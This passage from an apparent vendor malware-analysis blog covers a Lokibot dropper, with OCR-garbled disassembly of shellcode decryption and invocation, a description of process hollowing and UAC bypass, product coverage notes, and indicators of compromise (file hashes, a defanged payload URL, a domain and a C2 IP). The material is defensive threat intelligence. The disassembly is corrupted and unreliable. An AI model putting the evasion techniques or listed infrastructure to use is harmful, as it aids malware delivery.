CODE :83DB677A lea ecx, [ebptvar DC]
CODE : 83086788 mow eax, di:Emcrypt edshellcade
CODE - 683086785 call CustonDecryptionb
CODE :B303E78A mow edx, [ebptvar D] ; a2
CODE -R3DBETH mow eax, offset DecryptedShellcode ; result
CODE :R3026 /9% call EL5trAsg
CODE :B3086 734 mov eax, ds:Decryptedshellcode
CODE:8302679F call @rynarrayLength
CODE :B30367A4 moy ecx, eax
CODE :63DDETAE mov edx, offset ptrshellcode
CODE :830@67A8 mow eax, du:Decryptedshellcode
CODE : 83DBE7EE call Have
CODE : 03036785 mov ebx, offset ptrihellcode

LODE

CODE :
THADBEVEE call

BADGETRA mowv

eax, offset DecryptediokiBotbfie
El'ﬁ questri ngh

TB30R6 LA push

Cax : Left

-~ Shellcode first param:
pointer to Lokibot exe

CODE @
CODE
CODE:
CODE :
IM?FFL suzh

- ot Tse e ght
W0 e T T e 1 TON, loOoTrar_tn]
CODE : 83036708 xor 24X, edx
CODE :83D@67D2 call GetCommandLind w
CODE : 68306707 mov eax, [ebptvar Ed]
CODE 83036700 call ELStrToPChar
CODE :R3ADIETER mow edx, cax

BADDETES lea
B30BETEA call
B3DRETEF mov
B30BE7FF5 call

oax, [r'hpl var_| :1]

-?«'51: rFromPChar
eax, [ebp+var_ga]
EWstrTo

eax | ; Left

CODE

:B30B67FE call

ebx ; ptrshell i,

e

Shellcode second
param: strings array

_—~5Shellcode third param:

current command line

Call shellcode

J-.IJ.J.d.

The shellcode will create a suspended process using the third parameter as a command line
command and injects Lokibot into it using process hollowing.

Conclusion

Threat actors are getting more sophisticated when it comes to hiding their final payload. This
dropper uses three stages and three layers of encryption to hide its final payload. The
dropper also injects code into a suspended process to bypass UAC and uses process
hollowing to execute its final payload. The majority of malware is getting more and more
sophisticated. They are constantly improving their social engineering techniques to trick the
user into opening malicious attachments and running malicious code. The malware code and
its infection techniques is also improving constantly like we have described in this blog. The
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adversaries combine clever techniques to make detection harder. More than ever it is
important to have a multi layered security architecture in place to detect these kinds of
attacks. It isn't unlikely that the adversaries will manage to bypass one or the other security
measures, but it is much harder for them to bypass all of them. These campaigns and the
refinement of the TTPs being used will likely continue for the foreseeable future.

Coverage

AMP
Cloudlock
cws

Email Security

Network Security
Stealthwatch
Stealthwatch Cloud
Threat Grid
Umbrella

WSA
Ways our customers can detect and block this threat are listed below.

Advanced Malware Protection (AMP) is ideally suited to prevent the execution of the
malware detailed in this post. Below is a screenshot showing how AMP can protect
customers from this threat. Try AMP for free here.

Cisco Cloud Web Security (CWS) or Web Security Appliance (WSA) web scanning
prevents access to malicious websites and detects malware used in these attacks.
Network Security appliances such as Next-Generation Firewall (NGFW), Next-Generation
Intrusion Prevention System (NGIPS), and Meraki MX can detect malicious activity
associated with this threat.

Threat Grid helps identify malicious binaries and build protection into all Cisco Security
products.

Umbrella, our secure internet gateway (SIG), blocks users from connecting to malicious
domains, IPs, and URLs, whether users are on or off the corporate network.

Additional protections with context to your specific environment and threat data are available
from the Firepower Management Center.
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Open Source Snort Subscriber Rule Set customers can stay up to date by downloading the
latest rule pack available for purchase on Snort.org.The following SIDs have been released
to detect this threat: 56578 and 56577.

I0C

Hashes

d5a68a111¢359a22965206e7ac7d602d92789dd1aa3f0e0c8d89412fc84e24a5 (First stage
XLS file)

6b53ba14172f0094a00edfef96887aab01e8b1c49bdc6b1f34d7f2e32f88d172 (2nd stage
packed downloader)
b36d914ae8e43c6001483dfc206b08dd1b0fbc5299082ea2fba154df35e7d649 (2nd stage
unpacked DLL)
93ec3c23149c3d5245adf5d8a38c85e32cdaz4e23f8c4df2e19e1423739908b7 (3rd Stage
DLL)

21e23350b05a4b84cdf5c93044d780558e6baf81b2148fdda4583930ab7cb836 (DLL used to
bypass UAC)
c9038e31f798119d9e93e7eafbdd3e0f215e24ee2200fcd2a3bad460d549894ab ( Lokibot )

URL

hxxp://millsmiltinon[.Jcom/ojHY hkfkmofwendkfptktnbjgmfkgtdeitobregvdgetyhsk/Xehmigm.exe

Domains

millsmiltinon.com (Hosts 2nd and 3rd Stage)

IP

104.223.143[.]132 (Lokibot C2)
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